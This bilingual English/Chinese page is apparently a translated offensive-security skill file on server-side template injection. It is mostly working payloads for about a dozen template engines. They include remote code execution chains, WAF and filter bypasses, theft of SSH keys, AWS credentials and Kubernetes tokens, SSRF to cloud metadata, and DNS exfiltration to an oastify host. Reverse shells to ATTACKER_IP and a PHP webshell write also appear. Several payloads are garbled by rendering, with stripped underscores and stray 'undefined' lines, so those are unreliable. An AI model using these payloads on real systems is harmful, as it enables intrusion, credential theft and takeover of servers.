offensive-ssti

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Server-Side Template Injection (SSTI) -- Offensive Methodology

服务端模板注入(SSTI)——攻击方法论

SSTI exists wherever user-controlled input is concatenated into a server-side template string and the engine evaluates it as code. The engine executes attacker-supplied directives, granting access to the language runtime and, in nearly every engine, remote code execution through the host language's object model. You encounter SSTI in any application passing raw user input to functions like
render_template_string()
,
Template()
, or
compile()
.
CWE-1336. MITRE ATT&CK T1190.
只要用户可控输入被拼接进服务端模板字符串,并由模板引擎将其作为代码求值,SSTI 就会存在。引擎会执行攻击者提供的指令,从而使其能够访问语言运行时;在几乎所有引擎中,还可借助宿主语言的对象模型实现远程代码执行。任何将原始用户输入传入
render_template_string()
、
Template()
或
compile()
等函数的应用,都可能存在 SSTI。
CWE-1336。MITRE ATT&CK T1190。

Quick Workflow

快速工作流

  1. Map injection surfaces: URL params, POST bodies, JSON values, path segments, headers, cookies.
  2. Inject polyglot probes and engine-specific arithmetic expressions; note evaluation, errors, or blank output.
  3. Fingerprint the engine via decision-tree probes, error signatures, and variable enumeration (section 1).
  4. Confirm server-side execution -- rule out client-side template injection (AngularJS, Vue.js).
  5. Escalate to information disclosure: dump config, env vars, secrets, internal paths.
  6. Achieve code execution with the engine-specific chain; apply bypass techniques if blocked (section 6).
  7. Chain for higher impact: file read, SSRF to cloud metadata, reverse shell, internal pivot.
  8. Produce non-destructive PoC with unique marker and capture the full request/response chain.

  1. 映射注入面:URL 参数、POST 正文、JSON 值、路径段、请求头、Cookie。
  2. 注入多语言探针和引擎专属的算术表达式;记录求值结果、错误或空白输出。
  3. 通过决策树探针、错误特征和变量枚举来识别引擎(第 1 节)。
  4. 确认服务端执行——排除客户端模板注入(AngularJS、Vue.js)。
  5. 升级为信息泄露:转储配置、环境变量、密钥和内部路径。
  6. 使用引擎专属利用链实现代码执行;如遇拦截,则应用绕过技术(第 6 节)。
  7. 组合利用以扩大影响:读取文件、通过 SSRF 访问云元数据、获取反向 Shell、进行内网横向移动。
  8. 生成带唯一标记的非破坏性 PoC,并捕获完整的请求/响应链。

1. Engine Detection and Fingerprinting

1. 引擎检测与指纹识别

1.1 Polyglot Probes

1.1 多语言探针

text
${{<%[%'"}}%\          Universal polyglot
{{7*7}}                Double-curly arithmetic
{{7*'7'}}              String multiplication (Jinja2 returns 7777777, Twig returns 49)
<%= 7*7 %>             ERB / EJS style
#{7*7}                 Pebble / Pug / Thymeleaf contexts
@(7+7)                 Razor (.NET)
Engine-narrowing probes:
text
{{config}}             Jinja2/Flask config dict
{{_self.env}}          Twig Environment object
{$smarty.version}      Smarty version string
<#assign x=1>          Freemarker (then reference x in dollar-curly)
For Velocity, inject
#set( $x = 7 * 7 )
then reference
$x
. For Thymeleaf/SpEL, inject a dollar-curly expression with
T(java.lang.Math).PI
. For Mako, inject a dollar-curly expression with
self.module.__name__
.
text
${{<%[%'"}}%\          Universal polyglot
{{7*7}}                Double-curly arithmetic
{{7*'7'}}              String multiplication (Jinja2 returns 7777777, Twig returns 49)
<%= 7*7 %>             ERB / EJS style
#{7*7}                 Pebble / Pug / Thymeleaf contexts
@(7+7)                 Razor (.NET)
用于缩小引擎识别范围的探针:
text
{{config}}             Jinja2/Flask config dict
{{_self.env}}          Twig Environment object
{$smarty.version}      Smarty version string
<#assign x=1>          Freemarker (then reference x in dollar-curly)
对于 Velocity,注入
#set( $x = 7 * 7 )
,然后引用
$x
。 对于 Thymeleaf/SpEL,注入包含
T(java.lang.Math).PI
的美元符号-大括号表达式。 对于 Mako,注入包含
self.module.__name__
的美元符号-大括号表达式。

1.2 Decision Tree

1.2 决策树

text
{{7*7}} --> 49?
  YES --> {{7*'7'}} --> "7777777"? --> Jinja2/Nunjucks ({{config}} narrows to Flask)
                    --> "49"?      --> Twig
                    --> error?     --> Handlebars
  NO  --> dollar-curly with 7*7 --> 49?
            YES --> dollar-curly with class ref   --> Velocity
                    dollar-curly with T(Math).PI  --> Thymeleaf
                    <#assign x=1> then ref x      --> Freemarker
                    error contains "mako"         --> Mako
            NO  --> <%= 7*7 %> --> 49?
                      error with "erb"/"Erubi"    --> ERB
                      error with "ejs"            --> EJS
                    @(7+7) --> 14?                --> Razor
text
{{7*7}} --> 49?
  YES --> {{7*'7'}} --> "7777777"? --> Jinja2/Nunjucks ({{config}} narrows to Flask)
                    --> "49"?      --> Twig
                    --> error?     --> Handlebars
  NO  --> dollar-curly with 7*7 --> 49?
            YES --> dollar-curly with class ref   --> Velocity
                    dollar-curly with T(Math).PI  --> Thymeleaf
                    <#assign x=1> then ref x      --> Freemarker
                    error contains "mako"         --> Mako
            NO  --> <%= 7*7 %> --> 49?
                      error with "erb"/"Erubi"    --> ERB
                      error with "ejs"            --> EJS
                    @(7+7) --> 14?                --> Razor

1.3 Error Signatures

1.3 错误特征

SignatureEngine
jinja2.exceptions.UndefinedError
Jinja2
Twig\Error\SyntaxError
Twig
freemarker.core.ParseException
Freemarker
org.apache.velocity.exception
Velocity
com.mitchellbosecke.pebble.error
Pebble
SmartyCompilerException
Smarty
mako.exceptions.SyntaxException
Mako
Parse error
with Handlebars context
Handlebars
SyntaxError
with ERB path
ERB
org.thymeleaf.exceptions.TemplateProcessing
Thymeleaf
SyntaxError
with
.ejs
path
EJS
Pug:Error
Pug
特征引擎
jinja2.exceptions.UndefinedError
Jinja2
Twig\Error\SyntaxError
Twig
freemarker.core.ParseException
Freemarker
org.apache.velocity.exception
Velocity
com.mitchellbosecke.pebble.error
Pebble
SmartyCompilerException
Smarty
mako.exceptions.SyntaxException
Mako
Parse error
with Handlebars context
Handlebars
SyntaxError
with ERB path
ERB
org.thymeleaf.exceptions.TemplateProcessing
Thymeleaf
SyntaxError
with
.ejs
path
EJS
Pug:Error
Pug

1.4 Blind Detection

1.4 盲检测

Time-based:
{{range(99999999)|join}}
(Jinja2),
<%= sleep(5) %>
(ERB). For Java engines, inject a dollar-curly with
T(java.lang.Thread).sleep(5000)
.
OOB DNS: Use Burp Collaborator or interactsh. Jinja2:
{{self.__init__.__globals__.__builtins__.__import__('os').popen('nslookup UNIQUE.oastify.com').read()}}
. Twig:
{{['nslookup UNIQUE.oastify.com']|map('system')}}
.
Error inference: Compare
{{7*7}}
vs
{{7*'INVALID}}
-- different response behavior confirms processing.

基于时间:
{{range(99999999)|join}}
(Jinja2)、
<%= sleep(5) %>
(ERB)。 对于 Java 引擎,注入包含
T(java.lang.Thread).sleep(5000)
的美元符号-大括号表达式。
OOB DNS: 使用 Burp Collaborator 或 interactsh。Jinja2:
{{self.__init__.__globals__.__builtins__.__import__('os').popen('nslookup UNIQUE.oastify.com').read()}}
。 Twig:
{{['nslookup UNIQUE.oastify.com']|map('system')}}
。
错误推断: 比较
{{7*7}}
与
{{7*'INVALID'}}
——响应行为的差异可确认模板已被处理。

2. Jinja2 / Python

2. Jinja2 / Python

Exploitation relies on MRO traversal to
object
, subclass enumeration, and
__globals__
/
__builtins__
access.
利用依赖于遍历 MRO 到达
object
、枚举子类,以及访问
__globals__
/
__builtins__
。

2.1 MRO Traversal and Subclass Enumeration

2.1 MRO 遍历与子类枚举

python
{{''.__class__.__mro__[1]}}                    # Reach object base class
{{''.__class__.__mro__[1].__subclasses__()}}   # List all subclasses
python
{{''.__class__.__mro__[1]}}                    # Reach object base class
{{''.__class__.__mro__[1].__subclasses__()}}   # List all subclasses

Find subprocess.Popen index (varies by Python version -- never hardcode)

Find subprocess.Popen index (varies by Python version -- never hardcode)

{% for cls in ''.class.mro[1].subclasses() %} {% if 'Popen' in cls.name %}{{ loop.index0 }}{% endif %} {% endfor %}
undefined
{% for cls in ''.class.mro[1].subclasses() %} {% if 'Popen' in cls.name %}{{ loop.index0 }}{% endif %} {% endfor %}
undefined

2.2 RCE Chains

2.2 RCE 利用链

python
undefined
python
undefined

Via subprocess.Popen (replace INDEX with runtime value)

Via subprocess.Popen (replace INDEX with runtime value)

{{''.class.mro[1].subclasses()INDEX.communicate()[0]}}
{{''.class.mro[1].subclasses()INDEX.communicate()[0]}}

Via self.init.globals

Via self.init.globals

{{self.init.globals.builtins.import('os').popen('id').read()}}
{{self.init.globals.builtins.import('os').popen('id').read()}}

Via request.application (Flask)

Via request.application (Flask)

{{request.application.globals.builtins.import('os').popen('id').read()}}
{{request.application.globals.builtins.import('os').popen('id').read()}}

Via config object

Via config object

{{config.class.from_envvar.globals.builtins.import('os').popen('id').read()}}
{{config.class.from_envvar.globals.builtins.import('os').popen('id').read()}}

Via cycler (bypasses some sandboxes)

Via cycler (bypasses some sandboxes)

{{self._TemplateReference__context.cycler.init.globals.os.popen('id').read()}}
{{self._TemplateReference__context.cycler.init.globals.os.popen('id').read()}}

Via lipsum / namespace / joiner globals

Via lipsum / namespace / joiner globals

{{lipsum.globals.os.popen('id').read()}} {{namespace.init.globals.os.popen('id').read()}}
{{lipsum.globals.os.popen('id').read()}} {{namespace.init.globals.os.popen('id').read()}}

Via warnings module search

Via warnings module search

{% for x in ().class.base.subclasses() %} {% if "warning" in x.name %} {{x()._module.builtins'import'.popen('id').read()}} {% endif %} {% endfor %}
undefined
{% for x in ().class.base.subclasses() %} {% if "warning" in x.name %} {{x()._module.builtins'import'.popen('id').read()}} {% endif %} {% endfor %}
undefined

2.3 File Ops and Info Disclosure

2.3 文件操作与信息泄露

python
{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}    # Read file
{{''.__class__.__mro__[1].__subclasses__()[40]('/tmp/x','w').write('y')}} # Write file
{{config}}                                                                # Flask config
{{config['SQLALCHEMY_DATABASE_URI']}}                                     # DB URI
{{request.environ}}                                                       # WSGI env

python
{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}    # Read file
{{''.__class__.__mro__[1].__subclasses__()[40]('/tmp/x','w').write('y')}} # Write file
{{config}}                                                                # Flask config
{{config['SQLALCHEMY_DATABASE_URI']}}                                     # DB URI
{{request.environ}}                                                       # WSGI env

3. Twig / PHP

3. Twig / PHP

3.1 Legacy (Twig 1.x) -- _self.env

3.1 旧版(Twig 1.x)-- _self.env

php
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("id")}}
php
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("id")}}

3.2 Modern (Twig 2.x/3.x) -- Filter Callbacks

3.2 现代版本(Twig 2.x/3.x)-- 过滤器回调

php
{{'id'|filter('system')}}                  # filter() with system
{{'id'|filter('passthru')}}                # filter() with passthru
{{['id']|map('system')|join}}              # map() callback
{{['id',0]|sort('system')|join}}           # sort() callback
{{[0,'id']|reduce('system')}}              # reduce() callback
php
{{'id'|filter('system')}}                  # filter() with system
{{'id'|filter('passthru')}}                # filter() with passthru
{{['id']|map('system')|join}}              # map() callback
{{['id',0]|sort('system')|join}}           # sort() callback
{{[0,'id']|reduce('system')}}              # reduce() callback

3.3 Info Disclosure

3.3 信息泄露

php
{{app.request.server.all|join(',')}}       # Symfony server vars
{{dump(app)}}                              # Full app dump
{{'/etc/passwd'|file_excerpt(1,100)}}      # File read (debug mode)
{{'/etc/passwd'|file_get_contents}}        # If exposed as filter

php
{{app.request.server.all|join(',')}}       # Symfony server vars
{{dump(app)}}                              # Full app dump
{{'/etc/passwd'|file_excerpt(1,100)}}      # File read (debug mode)
{{'/etc/passwd'|file_get_contents}}        # If exposed as filter

4. Java Template Engines

4. Java 模板引擎

4.1 Freemarker -- Execute and ObjectConstructor

4.1 Freemarker -- Execute 与 ObjectConstructor

RCE via the Execute class -- use
<#assign>
to instantiate it, then reference it in a dollar-curly expression with the command string as argument:
http
GET /page?input=%3C%23assign+cmd%3D%22freemarker.template.utility.Execute%22%3Fnew()%3E%24%7Bcmd(%22id%22)%7D HTTP/1.1
Host: target.example.com
ObjectConstructor for ProcessBuilder:
html
<#assign obj = "freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb = obj("java.lang.ProcessBuilder", ["sh","-c","id"])>
<#assign proc = pb.start()>
通过 Execute 类实现 RCE——使用
<#assign>
实例化该类,然后在美元符号-大括号表达式中引用它,并将命令字符串作为参数:
http
GET /page?input=%3C%23assign+cmd%3D%22freemarker.template.utility.Execute%22%3Fnew()%3E%24%7Bcmd(%22id%22)%7D HTTP/1.1
Host: target.example.com
使用 ObjectConstructor 调用 ProcessBuilder:
html
<#assign obj = "freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb = obj("java.lang.ProcessBuilder", ["sh","-c","id"])>
<#assign proc = pb.start()>

4.2 Velocity -- Runtime.exec

4.2 Velocity -- Runtime.exec

java
#set($runtime = $class.inspect("java.lang.Runtime").type.getRuntime())
#set($process = $runtime.exec("id"))
#set($s = $class.inspect("java.util.Scanner").type)
#set($sc = $s.getDeclaredConstructor($process.getInputStream().getClass()).newInstance($process.getInputStream()))
$sc.useDelimiter("\\A").next()
java
#set($runtime = $class.inspect("java.lang.Runtime").type.getRuntime())
#set($process = $runtime.exec("id"))
#set($s = $class.inspect("java.util.Scanner").type)
#set($sc = $s.getDeclaredConstructor($process.getInputStream().getClass()).newInstance($process.getInputStream()))
$sc.useDelimiter("\A").next()

4.3 Pebble -- Reflection Chain

4.3 Pebble -- 反射链

java
{% set cmd = 'id' %}
{% set bytes = (1).TYPE.forName('java.lang.Runtime').methods[6].invoke(null,null).exec(cmd).inputStream.readAllBytes() %}
{{ (1).TYPE.forName('java.lang.String').constructors[0].newInstance(bytes, 0, bytes.length) }}
java
{% set cmd = 'id' %}
{% set bytes = (1).TYPE.forName('java.lang.Runtime').methods[6].invoke(null,null).exec(cmd).inputStream.readAllBytes() %}
{{ (1).TYPE.forName('java.lang.String').constructors[0].newInstance(bytes, 0, bytes.length) }}

4.4 Thymeleaf -- SpEL via Preprocessing

4.4 Thymeleaf -- 通过预处理执行 SpEL

Thymeleaf preprocessing evaluates double-underscore-wrapped expressions before template resolution. Inject into path variables or parameters:
http
GET /page/__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x HTTP/1.1
Host: target.example.com
File read:
http
GET /page/__${T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/etc/passwd'))}__::.x HTTP/1.1
Host: target.example.com
SpEL keyword bypass via Character references:
T(Character).toString(105).concat(T(Character).toString(100))
produces
id
.
Spring bean access:
@environment.getProperty('spring.datasource.password')
.

Thymeleaf 预处理会在模板解析前对双下划线包裹的表达式求值。将载荷注入路径变量或参数:
http
GET /page/__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x HTTP/1.1
Host: target.example.com
文件读取:
http
GET /page/__${T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/etc/passwd'))}__::.x HTTP/1.1
Host: target.example.com
通过字符引用绕过 SpEL 关键字:
T(Character).toString(105).concat(T(Character).toString(100))
可生成
id
。
访问 Spring Bean:
@environment.getProperty('spring.datasource.password')
。

5. Other Engines

5. 其他引擎

5.1 Smarty (PHP)

5.1 Smarty(PHP)

php
{$smarty.version}                           # Version disclosure
{php}echo shell_exec('id');{/php}           # If {php} tags enabled (legacy)
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system($_GET['cmd']); ?>",self::clearConfig())}
{math equation="(\"\\x73\\x79\\x73\\x74\\x65\\x6d\")(\"id\")"}
php
{$smarty.version}                           # Version disclosure
{php}echo shell_exec('id');{/php}           # If {php} tags enabled (legacy)
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system($_GET['cmd']); ?>",self::clearConfig())}
{math equation="(\"\\x73\\x79\\x73\\x74\\x65\\x6d\")(\"id\")"}

5.2 Mako (Python)

5.2 Mako(Python)

Mako compiles to Python modules with full runtime access. Block-style:
python
<% import os; result = os.popen('id').read() %>
Then output the variable in a dollar-curly expression. URL-encoded single-line:
http
GET /page?name=%24%7Bself.module.cache.util.os.popen('id').read()%7D HTTP/1.1
Host: target.example.com
Mako 会编译为 Python 模块,并拥有完整的运行时访问权限。块式语法:
python
<% import os; result = os.popen('id').read() %>
随后在美元符号-大括号表达式中输出该变量。URL 编码的单行形式:
http
GET /page?name=%24%7Bself.module.cache.util.os.popen('id').read()%7D HTTP/1.1
Host: target.example.com

5.3 ERB (Ruby)

5.3 ERB(Ruby)

ruby
<%= system("id") %>                                     # Command exec
<%= `id` %>                                             # Backtick exec
<%= File.open('/etc/passwd').read() %>                  # File read
<%= Rails.application.credentials.secret_key_base %>    # Rails secrets
<%= require 'socket'; f=TCPSocket.open("ATTACKER",4444).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f) %>
ruby
<%= system("id") %>                                     # Command exec
<%= `id` %>                                             # Backtick exec
<%= File.open('/etc/passwd').read() %>                  # File read
<%= Rails.application.credentials.secret_key_base %>    # Rails secrets
<%= require 'socket'; f=TCPSocket.open("ATTACKER",4444).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f) %>

5.4 Handlebars (Node.js)

5.4 Handlebars(Node.js)

Logic-less by design; RCE requires prototype pollution or unsafe helpers:
javascript
{{#with "s" as |string|}}
  {{#with "e"}}{{#with split as |conslist|}}
    {{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}
    {{#with string.split as |codelist|}}
      {{this.pop}}{{this.push "return require('child_process').execSync('id')"}}{{this.pop}}
      {{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}
    {{/with}}
  {{/with}}{{/with}}
{{/with}}
Handlebars 本身采用无逻辑设计;RCE 需要借助原型污染或不安全的 helper:
javascript
{{#with "s" as |string|}}
  {{#with "e"}}{{#with split as |conslist|}}
    {{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}
    {{#with string.split as |codelist|}}
      {{this.pop}}{{this.push "return require('child_process').execSync('id')"}}{{this.pop}}
      {{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}
    {{/with}}
  {{/with}}{{/with}}
{{/with}}

5.5 EJS (Node.js)

5.5 EJS(Node.js)

javascript
<%= global.constructor.constructor('return process.mainModule.require("child_process").execSync("id").toString()')() %>
Prototype pollution via
outputFunctionName
:
http
POST /render HTTP/1.1
Content-Type: application/json

{"settings":{"view options":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');s"}}}
javascript
<%= global.constructor.constructor('return process.mainModule.require("child_process").execSync("id").toString()')() %>
通过
outputFunctionName
实施原型污染:
http
POST /render HTTP/1.1
Content-Type: application/json

{"settings":{"view options":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');s"}}}

5.6 Pug / Nunjucks (Node.js)

5.6 Pug / Nunjucks(Node.js)

Pug:
javascript
- var x = global.process.mainModule.require('child_process').execSync('id').toString()
p= x
Nunjucks:
javascript
{{range.constructor("return global.process.mainModule.require('child_process').execSync('id').toString()")()}}

Pug:
javascript
- var x = global.process.mainModule.require('child_process').execSync('id').toString()
p= x
Nunjucks:
javascript
{{range.constructor("return global.process.mainModule.require('child_process').execSync('id').toString()")()}}

6. Filter and WAF Bypass

6. 过滤器与 WAF 绕过

6.1 Character Restriction Bypass (Jinja2)

6.1 字符限制绕过(Jinja2)

python
undefined
python
undefined

Dot blocked -- use |attr() or brackets

Dot blocked -- use |attr() or brackets

{{request|attr('application')}} {{request['application']}}
{{request|attr('application')}} {{request['application']}}

Underscore blocked -- hex encode (\x5f = _)

Underscore blocked -- hex encode (\x5f = _)

{{''['\x5f\x5fclass\x5f\x5f']}}
{{''['\x5f\x5fclass\x5f\x5f']}}

Or pass via request param: ?a=class

Or pass via request param: ?a=class

{{''|attr(request.args.a)}}
{{''|attr(request.args.a)}}

Brackets/quotes blocked -- chain |attr() with request.args

Brackets/quotes blocked -- chain |attr() with request.args

URL: ?a=class&b=mro&c=subclasses

URL: ?a=class&b=mro&c=subclasses

{{()|attr(request.args.a)|attr(request.args.b)|last|attr(request.args.c)()}}
undefined
{{()|attr(request.args.a)|attr(request.args.b)|last|attr(request.args.c)()}}
undefined

6.2 String Construction

6.2 字符串构造

python
undefined
python
undefined

Tilde concatenation

Tilde concatenation

{{''|attr('cla'~'ss')}}
{{''|attr('cla'~'ss')}}

Join filter

Join filter

{{''|attr(['cla','ss']|join)}}
{{''|attr(['cla','ss']|join)}}

Plus in brackets

Plus in brackets

{{''['cla'+'ss']}}
{{''['cla'+'ss']}}

chr() construction

chr() construction

{% set chr = ''.class.mro[1].subclasses()[80].init.globals.builtins.chr %} {{''[chr(95)+chr(95)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(95)+chr(95)]}}
{% set chr = ''.class.mro[1].subclasses()[80].init.globals.builtins.chr %} {{''[chr(95)+chr(95)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(95)+chr(95)]}}

Twig tilde

Twig tilde

{{('sys'~'tem')('id')}}
undefined
{{('sys'~'tem')('id')}}
undefined

6.3 Attribute Access Alternatives

6.3 属性访问替代方式

python
{{obj|attr('__class__')}}                   # |attr() filter
{{obj.__getattribute__('__class__')}}       # __getattribute__
{{obj['__class__']}}                        # bracket notation
{{obj|attr('__getitem__')('key')}}          # |attr() + __getitem__
python
{{obj|attr('__class__')}}                   # |attr() filter
{{obj.__getattribute__('__class__')}}       # __getattribute__
{{obj['__class__']}}                        # bracket notation
{{obj|attr('__getitem__')('key')}}          # |attr() + __getitem__

6.4 Encoding and Smuggling

6.4 编码与走私

python
undefined
python
undefined

Hex/octal encoding

Hex/octal encoding

{{request['\x5f\x5fclass\x5f\x5f']}} {{request|attr('\137\137class\137\137')}}
{{request['\x5f\x5fclass\x5f\x5f']}} {{request|attr('\137\137class\137\137')}}

Request parameter smuggling

Request parameter smuggling

URL: ?c=class

URL: ?c=class

{{request|attr(request.args.c)}}
{{request|attr(request.args.c)}}

URL: ?f=%s%sclass%s%s&a=_

URL: ?f=%s%sclass%s%s&a=_

{{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}
{{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}

URL: ?l=a&a=&a=&a=class&a=&a=

URL: ?l=a&a=&a=&a=class&a=_

{{request|attr(request.args.getlist(request.args.l)|join)}}
undefined
{{request|attr(request.args.getlist(request.args.l)|join)}}
undefined

6.5 WAF Evasion Techniques

6.5 WAF 规避技术

text
Parameter splitting:     ?a={{&b=7*7&c=}}
HTTP Param Pollution:    ?name={{7*7}}&name=safe (backend takes first, WAF last)
Content-Type confusion:  Submit as application/json when WAF inspects form-urlencoded
Double URL encoding:     %257B%257B7*7%257D%257D
Whitespace injection:    {{ 7 * 7 }}, {%- if 1 -%}49{%- endif -%}
Newline injection:       {{\n7*7\n}} (WAFs may not match cross-line patterns)
text
Parameter splitting:     ?a={{&b=7*7&c=}}
HTTP Param Pollution:    ?name={{7*7}}&name=safe (backend takes first, WAF last)
Content-Type confusion:  Submit as application/json when WAF inspects form-urlencoded
Double URL encoding:     %257B%257B7*7%257D%257D
Whitespace injection:    {{ 7 * 7 }}, {%- if 1 -%}49{%- endif -%}
Newline injection:       {{\n7*7\n}} (WAFs may not match cross-line patterns)

6.6 Engine-Specific Bypass

6.6 引擎专属绕过

Freemarker -- when
?new()
is restricted, use ObjectConstructor:
html
<#assign obj = "freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb = obj("java.lang.ProcessBuilder", ["sh","-c","id"])>
Thymeleaf -- build strings from
T(Character).toString()
calls to avoid keyword filters.

Freemarker——当
?new()
受到限制时,使用 ObjectConstructor:
html
<#assign obj = "freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb = obj("java.lang.ProcessBuilder", ["sh","-c","id"])>
Thymeleaf——通过组合
T(Character).toString()
调用来构造字符串,以避开关键字过滤器。

7. Blind Exploitation

7. 盲利用

7.1 Time-Based

7.1 基于时间

python
{{range(99999999)|join}}                   # Jinja2: CPU-intensive delay

{% for x in ().__class__.__base__.__subclasses__() %}
  {% if "warning" in x.__name__ %}
    {{x()._module.__builtins__['__import__']('time').sleep(5)}}
  {% endif %}
{% endfor %}                               # Jinja2: explicit sleep
php
{{['sleep 5']|map('system')}}             # Twig
ruby
<%= sleep(5) %>                            # ERB
Freemarker: assign Execute, invoke with
"sleep 5"
. Thymeleaf: dollar-curly with
T(java.lang.Thread).sleep(5000)
in preprocessing wrapper.
python
{{range(99999999)|join}}                   # Jinja2: CPU-intensive delay

{% for x in ().__class__.__base__.__subclasses__() %}
  {% if "warning" in x.__name__ %}
    {{x()._module.__builtins__['__import__']('time').sleep(5)}}
  {% endif %}
{% endfor %}                               # Jinja2: explicit sleep
php
{{['sleep 5']|map('system')}}             # Twig
ruby
<%= sleep(5) %>                            # ERB
Freemarker:赋值 Execute,然后以
"sleep 5"
调用。Thymeleaf:在预处理包装器中使用带有
T(java.lang.Thread).sleep(5000)
的美元符号-大括号表达式。

7.2 OOB DNS Callbacks

7.2 OOB DNS 回调

python
undefined
python
undefined

Jinja2 -- confirm execution

Jinja2 -- confirm execution

{{self.init.globals.builtins.import('os').popen('curl http://UNIQUE.oastify.com').read()}}
{{self.init.globals.builtins.import('os').popen('curl http://UNIQUE.oastify.com').read()}}

Jinja2 -- exfiltrate data in subdomain

Jinja2 -- exfiltrate data in subdomain

{{self.init.globals.builtins.import('os').popen('nslookup $(whoami).UNIQUE.oastify.com').read()}}

```php
{{['curl http://UNIQUE.oastify.com']|map('system')}}    # Twig
ruby
<%= `nslookup #{`whoami`.chomp}.UNIQUE.oastify.com` %>   # ERB
{{self.init.globals.builtins.import('os').popen('nslookup $(whoami).UNIQUE.oastify.com').read()}}

```php
{{['curl http://UNIQUE.oastify.com']|map('system')}}    # Twig
ruby
<%= `nslookup #{`whoami`.chomp}.UNIQUE.oastify.com` %>   # ERB

7.3 Error and Boolean Inference

7.3 错误与布尔推断

python
{{config.__class__.__name__ + 1}}          # Type error leaks data in error page
{{1/0}}                                    # Division by zero with engine info
python
{{config.__class__.__name__ + 1}}          # Type error leaks data in error page
{{1/0}}                                    # Division by zero with engine info

Boolean blind -- extract character by character

Boolean blind -- extract character by character

{% if ''.class.mro[1].subclasses()40.read()[0] == 'r' %}TRUE{% endif %}

---
{% if ''.class.mro[1].subclasses()40.read()[0] == 'r' %}TRUE{% endif %}

---

8. Chained Exploitation

8. 链式利用

8.1 SSTI to SSRF

8.1 SSTI 到 SSRF

python
undefined
python
undefined

Cloud metadata

Cloud metadata

{{self.init.globals.builtins.import('urllib.request').urlopen('http://169.254.169.254/latest/meta-data/iam/security-credentials/').read()}}
{{self.init.globals.builtins.import('urllib.request').urlopen('http://169.254.169.254/latest/meta-data/iam/security-credentials/').read()}}

Internal service access

Internal service access

{{self.init.globals.builtins.import('urllib.request').urlopen('http://internal-api:8080/admin').read()}}
undefined
{{self.init.globals.builtins.import('urllib.request').urlopen('http://internal-api:8080/admin').read()}}
undefined

8.2 SSTI to File Read

8.2 SSTI 到文件读取

python
{{''.__class__.__mro__[1].__subclasses__()[40]('app.py').read()}}                               # Source code
{{''.__class__.__mro__[1].__subclasses__()[40]('/var/www/config/database.yml').read()}}          # DB creds
{{''.__class__.__mro__[1].__subclasses__()[40]('/home/app/.ssh/id_rsa').read()}}                 # SSH keys
{{''.__class__.__mro__[1].__subclasses__()[40]('/home/app/.aws/credentials').read()}}            # AWS creds
{{''.__class__.__mro__[1].__subclasses__()[40]('/var/run/secrets/kubernetes.io/serviceaccount/token').read()}}  # K8s token
{{''.__class__.__mro__[1].__subclasses__()[40]('/proc/self/environ').read()}}                    # Process env
python
{{''.__class__.__mro__[1].__subclasses__()[40]('app.py').read()}}                               # Source code
{{''.__class__.__mro__[1].__subclasses__()[40]('/var/www/config/database.yml').read()}}          # DB creds
{{''.__class__.__mro__[1].__subclasses__()[40]('/home/app/.ssh/id_rsa').read()}}                 # SSH keys
{{''.__class__.__mro__[1].__subclasses__()[40]('/home/app/.aws/credentials').read()}}            # AWS creds
{{''.__class__.__mro__[1].__subclasses__()[40]('/var/run/secrets/kubernetes.io/serviceaccount/token').read()}}  # K8s token
{{''.__class__.__mro__[1].__subclasses__()[40]('/proc/self/environ').read()}}                    # Process env

8.3 SSTI to Reverse Shell

8.3 SSTI 到反向 Shell

Jinja2:
python
{{self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"').read()}}
Freemarker: assign Execute, invoke with
bash -c {echo,BASE64_REVSHELL}|{base64,-d}|{bash,-i}
.
ERB:
ruby
<%= require 'socket'; f=TCPSocket.open("ATTACKER_IP",4444).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f) %>
Jinja2:
python
{{self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"').read()}}
Freemarker:赋值 Execute,然后调用
bash -c {echo,BASE64_REVSHELL}|{base64,-d}|{bash,-i}
。
ERB:
ruby
<%= require 'socket'; f=TCPSocket.open("ATTACKER_IP",4444).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f) %>

8.4 SSTI to Privesc Enumeration

8.4 SSTI 到权限提升枚举

python
{{self.__init__.__globals__.__builtins__.__import__('os').popen('id && groups').read()}}
{{self.__init__.__globals__.__builtins__.__import__('os').popen('sudo -l 2>&1').read()}}
{{self.__init__.__globals__.__builtins__.__import__('os').popen('find / -perm -4000 -type f 2>/dev/null').read()}}
{{self.__init__.__globals__.__builtins__.__import__('os').popen('uname -a').read()}}
python
{{self.__init__.__globals__.__builtins__.__import__('os').popen('id && groups').read()}}
{{self.__init__.__globals__.__builtins__.__import__('os').popen('sudo -l 2>&1').read()}}
{{self.__init__.__globals__.__builtins__.__import__('os').popen('find / -perm -4000 -type f 2>/dev/null').read()}}
